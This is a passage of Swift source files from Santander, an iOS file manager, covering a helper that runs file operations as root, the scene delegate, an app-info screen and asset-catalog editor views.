} } ================================================ FILE: Santander/Other/RootHelper.swift ================================================ // // FSOperation.swift // Santander // // Created by Serena on 15/09/2022 // import Foundation @_exported import FSOperations // export FSOperations to rest of Santander module import NSTaskBridge struct RootConf: RootHelperConfiguration { private init() {} static let shared = RootConf() func contents(of path: URL) throws -> [URL] { let spawn = try spawn(command: try rootHelperURL(), args: ["get-contents", path.path]) return spawn.standardOutput.components(separatedBy: " ").map(URL.init(fileURLWithPath:)) } private func rootHelperURL() throws -> URL { guard let rootHelperURL = Bundle.main.url(forAuxiliaryExecutable: "RootHelper"), FileManager.default.fileExists(atPath: rootHelperURL.path) else { throw Errors.rootHelperUnavailable } return rootHelperURL } func perform(_ operation: FSOperation) throws { let ret: Output if case let .writeData(_, data) = operation { ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation, standardInputData: data) } else { ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation) } guard ret.status == 0 else { throw Errors.otherError(description: "Root helper returned non-zero status, error: \(ret.standardError)") } } /* shamelessly copied from https://github.com/elihwyma/Pogo/blob/c25186f7a554407563174b32f3a34c21aedba22b/Pogo/CommandRunner.swift#L11 Modified tho */ func spawn(command: URL, args: [String], root: Bool = true, standardInputData: Data? = nil) throws -> Output { var stdoutPipe: [Int32] = [0, 0] var stderrPipe: [Int32] = [0, 0] //var stdinPipe: [Int32] = [0, 0] let bufsiz = Int(BUFSIZ) pipe(&stdoutPipe) pipe(&stderrPipe) //pipe(&stdinPipe) guard fcntl(stdoutPipe[0], F_SETFL, O_NONBLOCK) != -1, fcntl(stderrPipe[0], F_SETFL, O_NONBLOCK) != -1/*, fcntl(stdinPipe[0], F_SETFL, O_NONBLOCK) != -1*/ else { let currentErrnoString = String(cString: strerror(errno)) throw Errors.otherError(description: "fnctl failed?! Error: \(currentErrnoString)") } /* if let standardInputData { standardInputData.withUnsafeBytes { rawBufferPtr in let base = rawBufferPtr.baseAddress! let writeAmount = write(stdinPipe[1], base, standardInputData.count) NSLog("RootHelper: writeAmount: \(writeAmount)") } } */ let args: [String] = [command.lastPathComponent] + args let argv: [UnsafeMutablePointer?] = args.map { $0.withCString(strdup) } defer { for case let arg? in argv { free(arg) } } var fileActions: posix_spawn_file_actions_t? if root { posix_spawn_file_actions_init(&fileActions) posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[0]) posix_spawn_file_actions_addclose(&fileActions, stderrPipe[0]) //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[0]) posix_spawn_file_actions_adddup2(&fileActions, stdoutPipe[1], STDOUT_FILENO) posix_spawn_file_actions_adddup2(&fileActions, stderrPipe[1], STDERR_FILENO) //posix_spawn_file_actions_adddup2(&fileActions, stdinPipe[0], STDIN_FILENO) posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[1]) posix_spawn_file_actions_addclose(&fileActions, stderrPipe[1]) //posix_spawn_file_actions_addclose(&fileActions, stdinPipe[1]) } var attr: posix_spawnattr_t? posix_spawnattr_init(&attr) posix_spawnattr_set_persona_np(&attr, 99, UInt32(POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE)) posix_spawnattr_set_persona_uid_np(&attr, 0) posix_spawnattr_set_persona_gid_np(&attr, 0) let env: [String] if #available(iOS 15, *) { // Rootless env = [ "PATH=/usr/local/sbin:/var/jb/usr/local/sbin:/usr/local/bin:/var/jb/usr/local/bin:/usr/sbin:/var/jb/usr/sbin:/usr/bin:/var/jb/usr/bin:/sbin:/var/jb/sbin:/bin:/var/jb/bin:/usr/bin/X11:/var/jb/usr/bin/X11:/usr/games:/var/jb/usr/games" ] } else { env = ["PATH=/usr/bin:/usr/local/bin:/bin:/usr/sbin"] } let proenv = env.map { $0.withCString(strdup) } defer { for case let pro? in proenv { free(pro) } } var pid: pid_t = 0 let spawnStatus = posix_spawn(&pid, command.path, &fileActions, &attr, argv + [nil], proenv + [nil]) guard spawnStatus == 0 else { NSLog("spawnStatus error: \(String(cString: strerror(errno)))") throw Errors.failedToSpawnHelper } /* if let standardInputData { standardInputData.withUnsafeBytes { rawBufferPtr in let base = rawBufferPtr.baseAddress! let writeAmount = write(stdinPipe[1], base, standardInputData.count) NSLog("RootHelper: writeAmount: \(writeAmount)") } } */ close(stdoutPipe[1]) close(stderrPipe[1]) //close(stdinPipe[1]) var stdoutStr = "" var stderrStr = "" let mutex = DispatchSemaphore(value: 0) let readQueue = DispatchQueue(label: "com.serena.Santander.RootHelper", qos: .userInitiated, attributes: .concurrent, autoreleaseFrequency: .inherit, target: nil) let stdoutSource = DispatchSource.makeReadSource(fileDescriptor: stdoutPipe[0], queue: readQueue) let stderrSource = DispatchSource.makeReadSource(fileDescriptor: stderrPipe[0], queue: readQueue) stdoutSource.setCancelHandler { close(stdoutPipe[0]) mutex.signal() } stderrSource.setCancelHandler { close(stderrPipe[0]) mutex.signal() } stdoutSource.setEventHandler { let buffer = UnsafeMutablePointer.allocate(capacity: bufsiz) defer { buffer.deallocate() } let bytesRead = read(stdoutPipe[0], buffer, bufsiz) guard bytesRead > 0 else { if bytesRead == -1 && errno == EAGAIN { return } stdoutSource.cancel() return } let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)] array.withUnsafeBufferPointer { ptr in let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer.self)) stdoutStr += str } } stderrSource.setEventHandler { let buffer = UnsafeMutablePointer.allocate(capacity: bufsiz) defer { buffer.deallocate() } let bytesRead = read(stderrPipe[0], buffer, bufsiz) guard bytesRead > 0 else { if bytesRead == -1 && errno == EAGAIN { return } stderrSource.cancel() return } let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)] array.withUnsafeBufferPointer { ptr in let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer.self)) stderrStr += str } } stdoutSource.resume() stderrSource.resume() mutex.wait() mutex.wait() var status: Int32 = 0 waitpid(pid, &status, 0) return Output(status: status, standardOutput: stdoutStr, standardError: stderrStr) } struct Output { let status: CInt let standardOutput: String let standardError: String } var useRootHelper: Bool { return UserPreferences.rootHelperIsEnabled } private enum Errors: Error, LocalizedError, CustomStringConvertible { case rootHelperUnavailable case unableToReadHelperOutput case failedToSpawnHelper case otherError(description: String) var description: String { switch self { case .rootHelperUnavailable: return "Root Helper unavailable? is your install messed up?" case .unableToReadHelperOutput: return "Unable to read root helper output" case .failedToSpawnHelper: return "Failed to spawn root helper" case .otherError(let description): return description } } var errorDescription: String? { description } } } ================================================ FILE: Santander/Other/SantanderHeader.h ================================================ // // SantanderHeader.h // Santander // // Created by Анохин Юрий on 24.05.2023. // #import "grant_full_disk_access.h" #import "helpers.h" ================================================ FILE: Santander/SceneDelegate.swift ================================================ // // SceneDelegate.swift // Santander // // Created by Serena on 21/06/2022 // import UIKit class SceneDelegate: UIResponder, UIWindowSceneDelegate { var window: UIWindow? var visibleSubPathsVc: PathListViewController? { (window?.rootViewController as? UINavigationController)?.visibleViewController as? PathListViewController } func performShortcut(_ shortcut: UIApplicationShortcutItem) { switch shortcut.type { case "com.serena.santander.bookmarks": let vc = UINavigationController(rootViewController: PathListViewController.bookmarks()) window?.rootViewController?.present(vc, animated: true) default: // URL, go to it. if let pathToTopenTo = shortcut.userInfo?["ShortcutURLToOpenTo"] as? String { visibleSubPathsVc?.goToPath(path: Path(stringLiteral: pathToTopenTo)) } } } func windowScene(_ windowScene: UIWindowScene,performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) { self.performShortcut(shortcutItem) completionHandler(true) } func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) { // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). guard let windowScene = (scene as? UIWindowScene) else { return } let subPathsVC: PathTransitioning let window = UIWindow(windowScene: windowScene) if UIDevice.isiPad { let splitVC = UISplitViewController(style: .doubleColumn) let vc = PathSidebarListViewController() subPathsVC = vc splitVC.setViewController(vc, for: .primary) window.rootViewController = splitVC } else { let vc = PathListViewController(style: .userPreferred, path: .root) subPathsVC = vc window.rootViewController = UINavigationController(rootViewController: vc) } DispatchQueue.main.async { window.tintColor = UserPreferences.appTintColor.uiColor window.overrideUserInterfaceStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified } self.window = window // Needed on iPad so that the SplitViewController displays no matter orientation (window.rootViewController as? UISplitViewController)?.show(.primary) if let launchPath = UserPreferences.launchPath, FileManager.default.fileExists(atPath: launchPath) { subPathsVC.goToPath(path: Path(stringLiteral: launchPath)) } window.makeKeyAndVisible() // handle incoming URLs self.scene(scene, openURLContexts: connectionOptions.urlContexts) // handle possible shortcut clicked if let shortcut = connectionOptions.shortcutItem { self.performShortcut(shortcut) } } func sceneDidDisconnect(_ scene: UIScene) { // Called as the scene is being released by the system. // This occurs shortly after the scene enters the background, or when its session is discarded. // Release any resources associated with this scene that can be re-created the next time the scene connects. // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). } func sceneDidBecomeActive(_ scene: UIScene) { // Called when the scene has moved from an inactive state to an active state. // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. } func sceneWillResignActive(_ scene: UIScene) { // Called when the scene will move from an active state to an inactive state. // This may occur due to temporary interruptions (ex. an incoming phone call). } func sceneWillEnterForeground(_ scene: UIScene) { // Called as the scene transitions from the background to the foreground. // Use this method to undo the changes made on entering the background. } func sceneDidEnterBackground(_ scene: UIScene) { // Called as the scene transitions from the foreground to the background. // Use this method to save data, release shared resources, and store enough scene-specific state information // to restore the scene back to its current state. } // Path is being imported func scene(_ scene: UIScene, openURLContexts URLContexts: Set) { // map them to file URLs instead of `santander://` URLs let urls = URLContexts.map { ctx in URL(fileURLWithPath: ctx.url.path) } guard !urls.isEmpty else { return } let alertController = UIAlertController(title: "URL(s) being imported to app, would you like to copy it to another path?", message: nil, preferredStyle: .alert) let copyAction = UIAlertAction(title: "Copy Path", style: .default) { _ in self.window?.rootViewController?.present(UINavigationController(rootViewController: PathOperationViewController(paths: urls, operationType: .import)), animated: true) } alertController.addAction(copyAction) // if there's just one item, display option to go it's path if urls.count == 1 { let viewItemAction = UIAlertAction(title: "View item", style: .default) { _ in let item = urls[0] let itemParentPath = item.deletingLastPathComponent() let rootVC = self.window?.rootViewController as? UINavigationController let vcToPush = PathListViewController(path: Path(url: itemParentPath)) rootVC?.pushViewController(vcToPush, animated: true) { if let indx = vcToPush.contents.firstIndex(of: Path(url: item)) { let indexPath = IndexPath(row: indx, section: 0) vcToPush.tableView.scrollToRow(at: indexPath, at: .middle, animated: true) vcToPush.tableView.selectRow(at: indexPath, animated: true, scrollPosition: .middle) } } } alertController.addAction(viewItemAction) } alertController.addAction(.cancel()) window?.rootViewController?.present(alertController, animated: true) } } fileprivate extension UINavigationController { func pushViewController(_ viewController: UIViewController, animated: Bool, completion: @escaping (() -> Void)) { pushViewController(viewController, animated: animated) guard animated, let coordinator = transitionCoordinator else { completion() return } coordinator.animate(alongsideTransition: nil) { _ in completion() } } } ================================================ FILE: Santander/UI/AppInfoViewController.swift ================================================ // // AppInfoViewController.swift // Santander // // Created by Serena on 15/08/2022. // import UIKit import ApplicationsWrapper /// A ViewController to display information about an app class AppInfoViewController: UITableViewController { let app: LSApplicationProxy // used to go to a path if selected in the current view controller let subPathsSender: PathListViewController init(style: UITableView.Style, app: LSApplicationProxy, subPathsSender: PathListViewController) { self.app = app self.subPathsSender = subPathsSender super.init(style: style) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() navigationItem.titleView = UIImageView(image: ApplicationsManager.shared.icon(forApplication: app)) } override func numberOfSections(in tableView: UITableView) -> Int { return 5 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0: return app.claimedURLSchemes.isEmpty ? 4 : 5 case 1: return 2 case 2: return 4 case 3: return 2 case 4: return 2 default: fatalError("Unknown section! \(section)") } } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() defer { cell.contentConfiguration = conf } switch (indexPath.section, indexPath.row) { case (0, 0): conf.text = "Name" conf.secondaryText = app.localizedName() case (0, 1): conf.text = "Bundle ID" conf.secondaryText = app.applicationIdentifier() case (0, 2): conf.text = "SDK Version" conf.secondaryText = app.sdkVersion case (0, 3): conf.text = "Type" conf.secondaryText = app.applicationType case (0, 4): conf.text = "URL schemes" conf.secondaryText = app.claimedURLSchemes.joined(separator: ", ") case (1, 0): conf.text = "Team ID" conf.secondaryText = app.teamID case (1, 1): conf.text = "Entitlements" cell.accessoryType = .disclosureIndicator case (2, 0): conf.text = "Deletable" conf.secondaryText = app.isDeletable ? "Yes" : "No" case (2, 1): conf.text = "Beta app" conf.secondaryText = app.isBetaApp ? "Yes" : "No" case (2, 2): conf.text = "Restricted" conf.secondaryText = app.isRestricted ? "Yes" : "No" case (2, 3): conf.text = "Containerized" conf.secondaryText = app.isContainerized ? "Yes" : "No" case (3, 0): conf.text = "Container URL" conf.secondaryText = app.containerURL().path case (3, 1): conf.text = "Bundle URL" conf.secondaryText = app.bundleURL().path case (4, 0): conf.text = "Open" conf.textProperties.color = .systemBlue case (4, 1): conf.text = "Delete" conf.textProperties.color = .systemRed default: fatalError("Unknown indexPath: \(indexPath)") } return cell } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { switch indexPath.section { case 3, 4: return true default: return (indexPath.section, indexPath.row) == (1, 1) // entitlements } } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { switch (indexPath.section, indexPath.row) { case (1, 1): let dict = app.entitlements.asSerializedDictionary() let vc = SerializedDocumentViewController(dictionary: dict, type: .plist(format: nil), title: "Entitlements", parentController: nil, canEdit: false) self.navigationController?.pushViewController(vc, animated: true) case (3, 0): dismissAndGoToURL(app.containerURL()) case (3, 1): dismissAndGoToURL(app.bundleURL()) case (4, 0): do { try ApplicationsManager.shared.openApp(app) } catch { self.errorAlert(error, title: "Unable to open \(app.localizedName())") } case (4, 1): do { try ApplicationsManager.shared.deleteApp(app) self.dismiss(animated: true) subPathsSender.tableView.reloadData() } catch { self.errorAlert(error, title: "Unable to delete app") } default: break } } func dismissAndGoToURL(_ url: URL) { self.dismiss(animated: true) subPathsSender.goToPath(path: Path(url: url)) } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift ================================================ // // AssetCatalogCell.swift // Santander // // Created by Serena on 18/09/2022 // import UIKit import AssetCatalogWrapper class AssetCatalogCell: UICollectionViewCell { let nameLabel: UILabel = UILabel() let subtitleLabel: UILabel = UILabel() lazy var circleView: UIView? = rendition?.representation?.uiView var rendition: Rendition? } extension AssetCatalogCell { static let cellBackgroundColor: UIColor = .quaternarySystemFill func configure() { setupShape() guard let rendition = rendition else { return } nameLabel.text = rendition.name subtitleLabel.text = makeSubtitleText(forRendition: rendition) subtitleLabel.font = .preferredFont(forTextStyle: .caption1) subtitleLabel.textColor = .secondaryLabel let labelsStackView = UIStackView(arrangedSubviews: [nameLabel, subtitleLabel]) labelsStackView.translatesAutoresizingMaskIntoConstraints = false labelsStackView.axis = .vertical let stackView = UIStackView(arrangedSubviews: [labelsStackView]) stackView.translatesAutoresizingMaskIntoConstraints = false stackView.spacing = 10 contentView.addSubview(stackView) let guide = contentView.layoutMarginsGuide if let circleView = circleView { circleView.layer.cornerRadius = 20 circleView.layer.cornerCurve = .circular circleView.translatesAutoresizingMaskIntoConstraints = false stackView.insertArrangedSubview(circleView, at: 0) NSLayoutConstraint.activate([ circleView.heightAnchor.constraint(equalTo: guide.heightAnchor), circleView.widthAnchor.constraint(equalTo: guide.heightAnchor), ]) } stackView.constraintCompletely(to: guide) } func makeSubtitleText(forRendition rend: Rendition) -> String { return "Scale: \(rend.cuiRend.scale())" // todo: more info? } // IMPORTANT: Don't get rid of this, otherwise cells will start mixing with each other // due to each one having the same reuseIdentifier by default.. override var reuseIdentifier: String? { return rendition?.name } func setupShape() { var bgConf = UIBackgroundConfiguration.clear() bgConf.backgroundColor = AssetCatalogCell.cellBackgroundColor bgConf.cornerRadius = 14 backgroundConfiguration = bgConf } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift ================================================ // // AssetCatalogDetailsView.swift // Santander // // Created by Serena on 27/09/2022 // import UIKit import CoreUIBridge #warning("get this working: A view which displays the details of an asset catalog") class AssetCatalogDetailsView: UIView { var catalog: CUICatalog init(catalog: CUICatalog) { self.catalog = catalog super.init(frame: .zero) let testLabel = UILabel() testLabel.text = "Hello" testLabel.translatesAutoresizingMaskIntoConstraints = false addSubview(testLabel) NSLayoutConstraint.activate([ testLabel.centerXAnchor.constraint(equalTo: centerXAnchor), testLabel.leadingAnchor.constraint(equalTo: leadingAnchor) ]) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift ================================================ // // AssetCatalogGridPreviewCell.swift // Santander // // Created by Serena on 08/10/2022 // import UIKit import AssetCatalogWrapper fileprivate extension CACornerMask { static func alongEdge(_ edge: CGRectEdge) -> CACornerMask { switch edge { case .maxXEdge: return [.layerMaxXMinYCorner, .layerMaxXMaxYCorner] case .maxYEdge: return [.layerMinXMaxYCorner, .layerMaxXMaxYCorner] case .minXEdge: return [.layerMinXMinYCorner, .layerMinXMaxYCorner] case .minYEdge: return [.layerMinXMinYCorner, .layerMaxXMinYCorner] } } } class AssetCatalogGridPreviewCell: UICollectionViewCell { var rendition: Rendition! var previewView: UIView! func configure() { var constraintCompletely: Bool = true if let preview = rendition.representation { previewView = preview.uiView } else { let noPreviewLabel = UILabel() noPreviewLabel.text = "No Preview." noPreviewLabel.textColor = .secondaryLabel previewView = noPreviewLabel constraintCompletely = false } previewView.clipsToBounds = true previewView.contentMode = .scaleAspectFit previewView.translatesAutoresizingMaskIntoConstraints = false contentView.addSubview(previewView) contentView.layer.cornerCurve = .continuous contentView.layer.cornerRadius = 12.0 layer.shadowOpacity = 0.2 layer.shadowRadius = 6.0 pushCornerPropertiesToChildren() if constraintCompletely { previewView.constraintCompletely(to: contentView.layoutMarginsGuide) } else { NSLayoutConstraint.activate([ previewView.centerXAnchor.constraint(equalTo: contentView.centerXAnchor), previewView.centerYAnchor.constraint(equalTo: contentView.centerYAnchor) ]) } } override var reuseIdentifier: String? { rendition?.name } func pushCornerPropertiesToChildren() { previewView.layer.maskedCorners = contentView.layer.maskedCorners.union(.alongEdge(.maxYEdge)) previewView.layer.cornerRadius = contentView.layer.cornerRadius previewView.layer.cornerCurve = contentView.layer.cornerCurve } } ================================================ FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift ================================================ // // AssetCatalogRenditionViewController.swift // Santander // // Created by Serena on 01/10/2022 // import UIKit import AssetCatalogWrapper class AssetCatalogRenditionViewController: UIViewController { typealias DataSource = UICollectionViewDiffableDataSource typealias DetailCellRegistration = UICollectionView.CellRegistration typealias ActionCellRegistration = UICollectionView.CellRegistration typealias GridPreviewCellRegistration = UICollectionView.CellRegistration var rendition: Rendition var collectionView: UICollectionView! var dataSource: DataSource! var sender: AssetCatalogViewController? init(rendition: Rendition, sender: AssetCatalogViewController?) { self.rendition = rendition self.sender = sender super.init(nibName: nil, bundle: nil) } required init?(coder: NSCoder) { fatalError("init(coder:) hasn't been implemented") } override func viewDidLoad() { super.viewDidLoad() title = "Info" configureCollectionView() configureDataSource() addItems() } func configureCollectionView() { self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: makeLayout()) collectionView.translatesAutoresizingMaskIntoConstraints = false collectionView.delegate = self collectionView.dragDelegate = self collectionView.backgroundColor = .secondarySystemBackground view.addSubview(collectionView) collectionView.constraintCompletely(to: view) } func editItem(sender: AssetCatalogViewController) { guard let saveIndx = sender.dataSource.indexPath(for: rendition) else { return } sender.editItem(rendition, presentingFrom: self) { [self] error in if let error = error { errorAlert(error, title: "Failed to edit item") return } dismiss(animated: true) { guard let newRend = sender.dataSource.itemIdentifier(for: saveIndx) else { return } let newVC = UINavigationController(rootViewController: AssetCatalogRenditionViewController(rendition: newRend, sender: sender)) sender.present(newVC, animated: true) } } } func makeDetailCellBackgroundConfiguration() -> UIBackgroundConfiguration { var background = UIBackgroundConfiguration.listAccompaniedSidebarCell() background.cornerRadius = 8 background.backgroundColor = .tertiarySystemBackground return background } func configureDataSource() { let listCellSecondaryTextFont: UIFont = .preferredFont(forTextStyle: .footnote) let detailCellBackgroundConf = makeDetailCellBackgroundConfiguration() let detailCellRegistration = DetailCellRegistration { cell, indexPath, details in var content = UIListContentConfiguration.cell() content.prefersSideBySideTextAndSecondaryText = true content.text = details.primaryText content.secondaryText = details.secondaryText content.secondaryTextProperties.font = listCellSecondaryTextFont cell.contentConfiguration = content cell.backgroundConfiguration = detailCellBackgroundConf } let previewCellRegistration = GridPreviewCellRegistration { cell, indexPath, itemIdentifier in cell.rendition = self.rendition cell.configure() } let actionCellRegistration = ActionCellRegistration { cell, indexPath, itemIdentifier in var conf = cell.defaultContentConfiguration() conf.text = itemIdentifier.displayText conf.image = itemIdentifier.displayImage if let color = itemIdentifier.textColor { conf.textProperties.color = color } conf.imageToTextPadding = 10 cell.contentConfiguration = conf cell.backgroundConfiguration = detailCellBackgroundConf } self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in switch itemIdentifier { case .preview: return collectionView.dequeueConfiguredReusableCell(using: previewCellRegistration, for: indexPath, item: self.rendition) case .action(let action): return collectionView.dequeueConfiguredReusableCell(using: actionCellRegistration, for: indexPath, item: action) case .details(let detailItem): return collectionView.dequeueConfiguredReusableCell(using: detailCellRegistration, for: indexPath, item: detailItem) } } } func addItems() { var snapshot = NSDiffableDataSourceSnapshot() snapshot.appendSections([.itemPreview]) var actions: [ItemAction] = [] // add actions if possible if let image = rendition.image { let uiImage = UIImage(cgImage: image) let saveImageAction = ItemAction(displayText: "Save", displayImage: UIImage(systemName: "square.and.arrow.down")) { self.saveImage(uiImage) } let viewImageAction = ItemAction(displayText: "View", displayImage: UIImage(systemName: "magnifyingglass")) { let viewer = ImageViewerController(fileURL: nil, image: uiImage, title: self.rendition.name) self.present(UINavigationController(rootViewController: viewer), animated: true) } actions += [saveImageAction, viewImageAction] } if rendition.type.isEditable, let sender = sender { let editAction = ItemAction(displayText: "Edit", displayImage: UIImage(systemName: "gear")) { self.editItem(sender: sender) } actions.append(editAction) } if !actions.isEmpty { snapshot.appendSections([.itemActions]) snapshot.appendItems(actions.map { return ItemType.action($0) }, toSection: .itemActions) } let size = rendition.cuiRend.unslicedSize() var itemDetails: [DetailItem] = [] // if rendition name is different than lookup name, // then display just "Name" // otherwise, if they're different, display them as different cells if rendition.namedLookup.name == rendition.namedLookup.renditionName { itemDetails.insert(DetailItem(primaryText: "Name", secondaryText: rendition.namedLookup.name), at: 0) } else { let bothNames = [ DetailItem(primaryText: "Lookup Name", secondaryText: rendition.namedLookup.name), DetailItem(primaryText: "Rendition Name", secondaryText: rendition.namedLookup.renditionName) ] itemDetails.insert(contentsOf: bothNames, at: 0) } // if the height or width aren't 0 (they are 0 in the cases of colors) // display them if !size.height.isZero { itemDetails.append(DetailItem(primaryText: "Height", secondaryText: size.height.description)) } if !size.width.isZero { itemDetails.append(DetailItem(primaryText: "Width", secondaryText: size.width.description)) } itemDetails.append(DetailItem(primaryText: "Scale", secondaryText: rendition.cuiRend.scale().description)) let key = rendition.namedLookup.key let rendInfo: [DetailItem] = [ DetailItem(primaryText: "Idiom", secondaryText: Rendition.Idiom(key)), DetailItem(primaryText: "Appearance", secondaryText: Rendition.Appearance(key)), DetailItem(primaryText: "Display Gamut", secondaryText: Rendition.DisplayGamut(key)), DetailItem(primaryText: "Type", secondaryText: rendition.type), ] snapshot.appendItems([.preview], toSection: .itemPreview) snapshot.appendSections([.itemInfo]) snapshot.appendItems(ItemType.fromDetails(itemDetails), toSection: .itemInfo) if rendition.type == .multiSizeImageSet, let nsObjectSizes = rendition.cuiRend.value(forKey: "sizeIndexes") as? [NSObject] { let sizes = nsObjectSizes.compactMap { $0.value(forKey: "size") as? CGSize } let items = sizes.enumerated().map { (indx, size) in DetailItem(primaryText: "Size \(indx)", secondaryText: "Width: \(size.width), Height: \(size.height)") } snapshot.appendSections([.specificTypeInfo]) snapshot.appendItems(ItemType.fromDetails(items), toSection: .specificTypeInfo) } switch rendition.representation { case .color(let cgColor): let uiColor = UIColor(cgColor: cgColor) // to easily get blue, red, green, alpha without // working with pointers let codableColor = CodableColor(uiColor) let colorSpaceName = (cgColor.colorSpace?.name as? String ?? "N/A") .replacingOccurrences(of: "kCGColorSpace", with: "") // remove mentions of "kCGColorSpace" so its only the name let colorDetails = [ DetailItem(primaryText: "ColorSpace", secondaryText: colorSpaceName), DetailItem(primaryText: "Red", secondaryText: String(format: "%.3f", codableColor.red)), DetailItem(primaryText: "Blue", secondaryText: String(format: "%.3f", codableColor.blue)), DetailItem(primaryText: "Green", secondaryText: String(format: "%.3f", codableColor.green)), ] snapshot.insertSections([.specificTypeInfo], afterSection: .itemInfo) snapshot.appendItems(ItemType.fromDetails(colorDetails), toSection: .specificTypeInfo) default: break } snapshot.appendSections([.renditionKeyInfo]) snapshot.appendItems(ItemType.fromDetails(rendInfo), toSection: .renditionKeyInfo) if let sender = sender { let deleteImage = UIImage(systemName: "trash")?.withTintColor(.systemRed, renderingMode: .alwaysOriginal) let deleteAction = ItemAction(displayText: "Delete", displayImage: deleteImage, textColor: .systemRed) { let confirmationAlert = UIAlertController(title: "Are you sure you want to delete this item?", message: nil, preferredStyle: .actionSheet) let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { [self] _ in sender.deleteItem(rendition) { [self] error in if let error = error { errorAlert(error, title: "Failed to delete item") } else { dismiss(animated: true) } } } confirmationAlert.addAction(deleteAction) confirmationAlert.addAction(.cancel()) self.present(confirmationAlert, animated: true) } snapshot.appendSections([.deleteItem]) snapshot.appendItems([.action(deleteAction)], toSection: .deleteItem) } dataSource.apply(snapshot) } func makeLayout() -> UICollectionViewLayout { // lazy var, so that it's not nil by the time it's initialized, because makeLayout() is called before createDataSource // it won't be nil when it's used in the layout closure. lazy var snapshot = dataSource.snapshot() let layout = UICollectionViewCompositionalLayout { sectionIndex, enviroment in let section = snapshot.sectionIdentifiers[sectionIndex] switch section { case .itemPreview: let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .estimated(180)) let item = NSCollectionLayoutItem(layoutSize: itemSize) let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .estimated(180)) let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1) group.interItemSpacing = .fixed(20) return NSCollectionLayoutSection(group: group) case .itemActions: let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .fractionalHeight(1.0)) let item = NSCollectionLayoutItem(layoutSize: itemSize) let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0), heightDimension: .absolute(44)) let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: snapshot.numberOfItems(inSection: section)) let spacing = CGFloat(10) group.interItemSpacing = .fixed(spacing) let section = NSCollectionLayoutSection(group: group) section.interGroupSpacing = spacing section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 16, bottom: 0, trailing: 16) return section default: let list = NSCollectionLayoutSection.list( using: .init(appearance: .sidebar), layoutEnvironment: enviroment ) list.interGroupSpacing = 5 return list } } let config = UICollectionViewCompositionalLayoutConfiguration() config.interSectionSpacing = 10 layout.configuration = config return layout } enum Section: Hashable { /// The item preview, ie, the image or color's view case itemPreview /// Actions to do, such as saving the image if available case itemActions /// The core item information, in a list layout, such as the name / width / height /// this is available for *all* renditions case itemInfo /// The item information that is specific to it's type, /// ie, the red, green and blue components of a color case specificTypeInfo /// The information specifically related to the rendition, /// coming from CUIRenditionKey case renditionKeyInfo /// The delete item button case deleteItem } enum ItemType: Hashable { case preview case action(ItemAction) case details(DetailItem) static func fromDetails(_ details: [DetailItem]) -> [ItemType] { return details.map { details in ItemType.details(details) } } } struct DetailItem: Hashable { /// The text of the primary label, ie "Height" let primaryText: String /// The text of the secondary label, ie, the height number as a String let secondaryText: String init(primaryText: String, secondaryText: String?) { self.primaryText = primaryText self.secondaryText = secondaryText ?? "N/A" } init(primaryText: String, secondaryText: DetailTextType?) { self.primaryText = primaryText self.secondaryText = secondaryText?.description ?? "N/A" } } struct ItemAction: Hashable { static func == (lhs: ItemAction, rhs: ItemAction) -> Bool { return lhs.displayText == rhs.displayText } let displayText: String let displayImage: UIImage? let textColor: UIColor? let action: (() -> Void) init(displayText: String, displayImage: UIImage?, textColor: UIColor? = nil, action: @escaping () -> Void) { self.displayText = displayText self.displayImage = displayImage self.textColor = textColor self.action = action } func hash(into hasher: inout Hasher) { hasher.combine(displayText) hasher.combine(displayImage) hasher.combine(textColor) } } } extension AssetCatalogRenditionViewController: UICollectionViewDelegate, UICollectionViewDragDelegate { func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? { UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { [self] _ in let item = dataSource.itemIdentifier(for: indexPath) switch item { case .action(let 